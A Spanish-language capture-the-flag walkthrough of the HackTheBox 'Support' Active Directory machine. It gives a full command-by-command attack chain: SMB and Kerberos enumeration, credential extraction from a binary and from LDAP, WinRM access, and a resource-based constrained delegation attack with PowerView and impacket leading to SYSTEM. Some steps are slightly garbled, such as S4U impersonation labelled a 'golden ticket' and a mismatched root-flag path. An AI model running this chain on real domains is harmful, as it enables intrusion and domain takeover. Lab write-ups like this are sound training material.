HTB support AD
¡Hola!
En esta ocasión vamos a resolver de la máquina support
AD de HackTheBox.
La máquina es nivel “Easy”, sin embargo, el nivel siempre se lo pones tú, al enfrentar estos retos, ¡vamos a ponernos hack!
PREPARACIÓN
Para iniciar nuestra máquina, vamos a crear con nuestra función mkhack un directorio de trabajo con el nombre support
y los subdirectorios recon
junto con exploit
, con el objetivo de organizar la información que recopilemos en la realización de la máquina.
mkhack support
cd !$/recon
RECONOCIMIENTO
Accedemos al directorio recon
e iniciamos nuestra fase de reconocimiento sobre el objetivo por medio de nuestra utilidad osping detectando el tipo de sistema operativo basado en el ttl
time to live de una traza ICMP.
osping 10.10.11.174
[*] Detectando sistema operativo ...
[+] 10.10.11.174 ttl=127 >> Windows
Identificamos que es una maquina Windows debido a su ttl (time to live) correspondiente a 127 (Disminuye en 1 debido a que realiza un salto adicional en el entorno de HackTHeBox).
- TTL => 64 Linux
- TTL => 128 Windows
Continuamos con la enumeración de los 65535 puertos en la máquina.
sudo nmap -p- --open -sS --min-rate 5000 -n -Pn 10.10.11.174 -oG ports | grep open
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5985/tcp open wsman
9389/tcp open adws
49664/tcp open unknown
49668/tcp open unknown
49674/tcp open unknown
49684/tcp open unknown
49700/tcp open unknown
Luego de identificar los puertos abiertos OPEN
, se procede a escanear servicios y versiones que puedan estar en nuestro objetivo.
nmap -p53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49664,49668,49674,49684,49700 -sCV -Pn 10.10.11.174 -oN versions
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2023-02-18 02:11:10Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: support.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: support.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf .NET Message Framing
49664/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49674/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49684/tcp open msrpc Microsoft Windows RPC
49700/tcp open msrpc Microsoft Windows RPC
AD DOMAIN DETECTION
Iniciamos con la detección del dominio
donde inicialmente, por medio de la utilidad crackmapexec
enumeramos información necesaria para tener un mejor alcance a la máquina víctima.
crackmapexec smb 10.10.11.174
SMB 10.10.11.174 445 DC [*] Windows 10.0 Build 20348 x64 (name:DC) (domain:support.htb) (signing:True) (SMBv1:False)
Agregamos en el archivo /etc/hosts
sudo su
nvim /etc/hosts
10.10.11.174 DC DC.support.htb support.htb
SMB NULL SESSION ENUM
Eumeramos información por smb null session
CRACKMAPEXEC
crackmapexec smb 10.10.11.174 --shares
SMB 10.10.11.174 445 DC [*] Windows 10.0 Build 20348 x64 (name:DC) (domain:support.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.174 445 DC [-] Error enumerating shares: SMB SessionError: STATUS_USER_SESSION_DELETED(The remote user session has been deleted.)
SMBCLIENT -N
smbclient -L 10.10.11.174 -N
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
support-tools Disk support staff tools
SYSVOL Disk Logon server share
SMBMAP -U ‘’
smbmap -H 10.10.11.174 -u ''
[+] IP: 10.10.11.174:445 Name: DC
SMBMAP -U ‘NULL’
smbmap -H 10.10.11.174 -u 'null'
[+] Guest session IP: 10.10.11.174:445 Name: DC
Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Remote Admin
C$ NO ACCESS Default share
IPC$ READ ONLY Remote IPC
NETLOGON NO ACCESS Logon server share
support-tools READ ONLY support staff tools
SYSVOL NO ACCESS Logon server share
ARCHIVO USERINFO.EXE.ZIP
En los recursos compartidos tenemos la oportunidad de ver un archivo interesante, por lo que procedemos a traerlo a nuestra máquina
ACCESO A SMB
smbclient //10.10.11.174/support-tools -N
smb: \> ls
. D 0 Wed Jul 20 12:01:06 2022
.. D 0 Sat May 28 06:18:25 2022
7-ZipPortable_21.07.paf.exe A 2880728 Sat May 28 06:19:19 2022
npp.8.4.1.portable.x64.zip A 5439245 Sat May 28 06:19:55 2022
putty.exe A 1273576 Sat May 28 06:20:06 2022
SysinternalsSuite.zip A 48102161 Sat May 28 06:19:31 2022
UserInfo.exe.zip A 277499 Wed Jul 20 12:01:07 2022
windirstat1_1_2_setup.exe A 79171 Sat May 28 06:20:17 2022
WiresharkPortable64_3.6.5.paf.exe A 44398000 Sat May 28 06:19:43 2022
OBTENER ARCHIVO
smb: \> get UserInfo.exe.zip
getting file \UserInfo.exe.zip of size 277499 as UserInfo.exe.zip (123,3 KiloBytes/sec) (average 123,3 KiloBytes/sec)
SALIR DE SMB
smb: \> exit
USERINFO.EXE.ZIP ENUM
Tenemos el archivo, ahora procedemos con 7z
a descomprimirlo y tratar de obtener algo de información con la utilidad strings
LISTAR CONTENIDO DEL ARCHIVO
7z l UserInfo.exe.zip
Date Time Attr Size Compressed Name
------------------- ----- ------------ ------------ ------------------------
2022-05-27 12:51:05 ..... 12288 5424 UserInfo.exe
2022-03-01 13:18:50 ..... 99840 41727 CommandLineParser.dll
2021-10-22 18:42:08 ..... 22144 12234 Microsoft.Bcl.AsyncInterfaces.dll
2021-10-22 18:48:04 ..... 47216 21201 Microsoft.Extensions.DependencyInjection.Abstractions.dll
2021-10-22 18:48:22 ..... 84608 39154 Microsoft.Extensions.DependencyInjection.dll
2021-10-22 18:51:24 ..... 64112 29081 Microsoft.Extensions.Logging.Abstractions.dll
2020-02-19 05:05:18 ..... 20856 11403 System.Buffers.dll
2020-02-19 05:05:18 ..... 141184 58623 System.Memory.dll
2018-05-15 08:29:44 ..... 115856 32709 System.Numerics.Vectors.dll
2021-10-22 18:40:18 ..... 18024 9541 System.Runtime.CompilerServices.Unsafe.dll
2020-02-19 05:05:18 ..... 25984 13437 System.Threading.Tasks.Extensions.dll
2022-05-27 11:59:39 ..... 563 327 UserInfo.exe.config
------------------- ----- ------------ ------------ ------------------------
DESCOMPRIMIR ARCHIVO
7z x UserInfo.exe.zip
STRINGS ENUM
strings -e l UserInfo.exe
@%1;
5W5
0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E
armando
LDAP://support.htb
support\ldap
Por lo que vemos, aparentemente tenemos un usuario potencial ldap
y armando
, lo tenemos en cuenta para más adelante
RPCCLIENT NULL SESSION ENUM
Eumeramos información por rpcclient
null session, sin exito
rpcclient -U '' 10.10.11.174 -N
result was NT_STATUS_ACCESS_DENIED
USERS DICTIONARY
Vamos a crear una lista de usuarios con la información que tenemos por el momento
nvim users.txt
ldap
armando
TGT KERBRUTE ENUM
Procedemos a validar nuestra lista de usuarios para identificar un nuevo usuario
kerbrute userenum -d support.htb --dc 10.10.11.174 users.txt
2023/02/17 21:37:54 > [+] VALID USERNAME: ldap@support.htb
Para esta ocasión vamos a usar un listado generico de usuarios xato-net-10-million-usernames.tx
propio de Seclists
para ver si podemos encontrar usuarios adicionales
kerbrute userenum -d support.htb --dc 10.10.11.174 /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
2023/02/17 21:43:24 > [+] VALID USERNAME: support@support.htb
2023/02/17 21:43:28 > [+] VALID USERNAME: guest@support.htb
2023/02/17 21:43:58 > [+] VALID USERNAME: administrator@support.htb
TGT GETNPUSERS ENUM
Obtenemos 4 usuarios validos con el ejercicio anterior! Ahora vamos a realizar la misma validación con la herramienta GetNPUsers
impacket-GetNPUsers support.htb/ -no-pass -usersfile users.txt
[-] User ldap doesn't have UF_DONT_REQUIRE_PREAUTH set
Ahora validamos los usuarios del diccionario de Seclists
impacket-GetNPUsers support.htb/ -no-pass -usersfile /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt | grep -v "not found"
[-] User support doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User guest doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
UPDATING USERS DICTIONARY
Actualizamos el diccionario de usuarios que creamos anteriormente
nvim users.txt
ldap@support.htb
guest@support.htb
support-tools@support.htb
administrator@support.htb
WINDOWS MACHINE USERINFO.EXE ENUM
Tenemos que entender que hace este programa a ver si podemos tener alguna información importante para continuar
MAQUINA ATACANTE
sudo python3 -m http.server 80
MÁQUINA WINDOWS
- Agregar DOMAIN al archivo HOSTS de WINDOWS
- Prender OPENVPN
- Descargar en navegador USERINFO.EXE.ZIP, descomprimir y comprender su funcionamiento
http://<IP_ATACANTE>/UserInfo.exe.zip
- Descargar en navegador y descomprimir DNSPY
https://github.com/dnSpy/dnSpy/releases/download/v6.1.8/dnSpy-netframework.zip
- Ejecutar DNSPY y cargar USERINFO.EXE
UserInfo - UserInfo.exe - UserInfo.Services - LdapQuery
- Asignar un BREAK POINT en linea 13
Tecla f9
- Depurar el programa
Tecla f5 Argumentos: find -first * -last * Aceptar
- Dar un paso adicional en el DEBUG
Tecla f10
- Se detecta la variable PASSWORD y una contraseña
- Apagar OPENVPN
- Volvemos a nuestra máquina atacante
VALIDATING LDAP CREDENTIALS
Antes que cualquier cosa, debemos volver a activar nuestra vpn en la máquina atacante con OpenVPN
, luego de esto procedemos a validar las credenciales obtenidas anteriormente
VALIDAR CREDS SMB
crackmapexec smb 10.10.11.174 -u ldap -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz'
SMB 10.10.11.174 445 DC [*] Windows 10.0 Build 20348 x64 (name:DC) (domain:support.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.174 445 DC [+] support.htb\ldap:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz
VALIDAR CREDS WINRM
crackmapexec winrm 10.10.11.174 -u ldap -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz'
SMB 10.10.11.174 5985 DC [*] Windows 10.0 Build 20348 (name:DC) (domain:support.htb)
HTTP 10.10.11.174 5985 DC [*] http://10.10.11.174:5985/wsman
WINRM 10.10.11.174 5985 DC [-] support.htb\ldap:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz
Las credenciales son validas para smb
pero no es una cuenta con privilegios
RCPCLIENT ENUM (WITH CREDS)
Ahora tenemos lo necesario para extraer usuarios del controlador de dominio por medio de las credenciales validas encontradas anteriormente, adicionalmente vamos a enumerar un poco mas de información
OBTENER LISTADO DE USUARIOS
rpcclient -U 'ldap%nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' 10.10.11.174 -c enumdomusers | grep -oP '\[.*?\]' | grep -v 0x | tr -d '[]' > users.txt
GRUPOS ADMINISTRADORES
rpcclient -U 'ldap%nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' 10.10.11.174 -c enumdomgroups
group:[Enterprise Read-only Domain Controllers] rid:[0x1f2]
group:[Domain Admins] rid:[0x200]
USUARIOS ADMINISTRADORES
rpcclient -U 'ldap%nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' 10.10.11.174 -c 'querygroupmem 0x200'
rid:[0x1f4] attr:[0x7]
DESCRIPCIÓN USUARIO ADMINISTRATOR
rpcclient -U 'ldap%nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' 10.10.11.174 -c 'queryuser 0x1f4'
User Name : Administrator
LDAPSEARCH AD ENUM (WITH CREDS)
Continuamos enumerando el directorio activo, en este caso con la utilidad ldapsearch
, encontrando una credencial en el campo info
perteneciente al usuario support
ldapsearch -x -H ldap://10.10.11.174 -D 'ldap@support.htb' -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b "DC=support,DC=htb" | grep -i 'samaccountname: support' -B 40
info: Ironside47pleasure40Watchful
VALIDATING SUPPORT CREDS
Vamos a validar las credenciales del usuario support
VALIDAR CREDS SMB
crackmapexec smb 10.10.11.174 -u users.txt -p 'Ironside47pleasure40Watchful' --continue-on-success
SMB 10.10.11.174 445 DC [+] support.htb\support:Ironside47pleasure40Watchful
VALIDAR CREDS WINRM
crackmapexec winrm 10.10.11.174 -u support -p 'Ironside47pleasure40Watchful'
SMB 10.10.11.174 5985 DC [*] Windows 10.0 Build 20348 (name:DC) (domain:support.htb)
HTTP 10.10.11.174 5985 DC [*] http://10.10.11.174:5985/wsman
WINRM 10.10.11.174 5985 DC [+] support.htb\support:Ironside47pleasure40Watchful (Pwn3d!)
Tenemos credenciales con privilegios para conectarnos de manera remota
GRANTED ACCESS SUPPORT USER
Accedemos a la máquina víctima con evil-winrm
evil-winrm -i 10.10.11.174 -u 'support' -p 'Ironside47pleasure40Watchful'
whoami
support\support
AD ENUM LOCAL
Nos encontramos dentro de la máquina víctima, sin embargo, necesitamos escalar privilegios, por lo tanto, debemos enumerar la máquina para obtener más información que nos pueda ayudar.
USUARIOS DE LA MÁQUINA
net user
-------------------------------------------------------------------------------
Administrator anderson.damian bardot.mary
cromwell.gerard daughtler.mabel ford.victoria
Guest hernandez.stanley krbtgt
langley.lucy ldap levine.leopoldo
monroe.david raven.clifton smith.rosario
stoll.rachelle support thomas.raphael
west.laura wilson.shelby
GRUPOS Y PRIVILEGIOS DEL USUARIO ACTUAL
whoami /priv
Privilege Name Description State
============================= ============================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
INFORMACIÓN GENERAL DE UN GRUPO LOCAL
net localgroup "Remote Management Users"
support
BLOODHOUND ENUM
Ahora vamos a descargar y transmitir el binario SharpHound.ps1
a la máquina víctima para extraer la información del AD y posteriormente visualizarla en bloodhound
.
MÁQUINA ATACANTE
wget https://github.com/BloodHoundAD/SharpHound/releases/download/v1.1.0/SharpHound-v1.1.0.zip
mkdir SharpHound
cd SharpHound
mv ~/Descargas/SharpHound-v1.1.0.zip .
unzip SharpHound-v1.1.0.zip
MÁQUINA VÍCTIMA
cd C:\Windows\Temp
mkdir privs
cd privs
upload /opt/BloodHound-linux-x64/SharpHound.exe
.\SharpHound.exe -c All
download C:\Windows\Temp\privs\20220718205025_BloodHound.zip bloodhound.zip
BLOODHOUND INTERACTION
Ya tenemos la información descargada en nuestro equipo, ahora procedemos a revisar la data con bloodhound
neo4j console &>/dev/null & disown
bloodhound &>/dev/null & disown
# INGRESAR CREDENCIALES DE ACCESO
SEGUIR SECUENCIA EN BLOODHOUND
Upload Data > bloodhound.zip > Analysis > Find all domain admins > Find Principals with DCSync Rights > Domaim
ENUMERAR GRUPOS
Buscar Shared support accounts> node info > Reachable High Value Targets
MARCAR USUARIOS PWNED
Buscar user > mark user as owned
ESCALAMIENTO
Node info > Reachable High Value Targets
RESORCE BASED CONSTRAINED DELEGATION (RBCD) ATTACK
Vamos a realizar un RBCD ATTACK
, esto es posible porque el grupo SHARED SUPPORT ACCOUNTS
tiene permisos Generic all
sobre el AD
, dando la libertad de ejecutar en este caso la posibilidad de crear una nueva cuenta de máquina, que puedes hacer uso del mismo para obtener un ticket impersonando el usuario obteniendo accesos privilegiados con ayuda de powermad
y powerview
MÁQUINA ATACANTE
DESCARGAR POWERMAD.PS1 Y POWERVIEW.PS1
wget https://raw.githubusercontent.com/Kevin-Robertson/Powermad/master/Powermad.ps1
wget https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1
MÁQUINA VÍCTIMA
TRANSFERIR POWERMAD
upload /home/bast1ant1c/Desktop/bast1ant1c/HTB/AD/easy/support/recon/Powermad.ps1
IMPORTAR MODULO
Import-Module .\Powermad.ps1
CREAR CUENTA DE MÁQUINA
New-MachineAccount -MachineAccount SERVICEA -Password $(ConvertTo-SecureString 'password123' -AsPlainText -Force) -Verbose
TRANSFERIR POWERVIEW
upload /home/bast1ant1c/Desktop/bast1ant1c/HTB/AD/easy/support/recon/PowerView.ps1
IMPORTAR MODULO
Import-Module .\PowerView.ps1
CREAR CONDICIONES DE LA CUENTA DE MÁQUINA PARA EXPLOTACIÓN
Get-DomainComputer SERVICEA
$ComputerSid = Get-DomainComputer SERVICEA -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer dc | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
Get-DomainComputer dc -Properties 'msds-allowedtoactonbehalfofotheridentity'
msds-allowedtoactonbehalfofotheridentity
----------------------------------------
{1, 0, 4, 128...}
GRANTED ACCESS ADMINISTRATOR USER (GOLDEN TICKET)
Vamos a hacer uso de la utilidad getST
con la que obtendremos un golden ticket del usuario Administrator
aprovechando la creación de la cuenta de máquina realizada en pasos anteriores, obteniendo acceso con psexec
impacket-getST -spn cifs/dc.support.htb -impersonate Administrator -dc-ip 10.10.11.174 support.htb/SERVICEA$:password123
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation
[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator.ccache
export KRB5CCNAME=Administrator.ccache
impacket-psexec -k dc.support.htb
whoami
nt authority\system
FLAGS
Lo único que nos queda es leer las banderas de user y root. Pueden ver la flag con type
, pero para hacerlo más retador solo dejaré los primeros 10 caracteres de la flag.
cd C:/
dir /b/s user.txt
c:\Users\support\Desktop\user.txt
set /P user=<"c:\Users\support\Desktop\user.txt"
echo.%user:~0,10%
ce03e32c55
cd C:/
dir /b/s root.txt
c:\Users\Administrator\Desktop\user.txt
set /P user=<"c:\Users\Administrator\Desktop\user.txt"
echo.%root:~0,10%
4e4ed829c0
¡Hemos logrado completar la máquina support
de HackTheBox!
¡Que tengan un buen día en el planeta donde se encuentren!
Nos vemos en otro bit.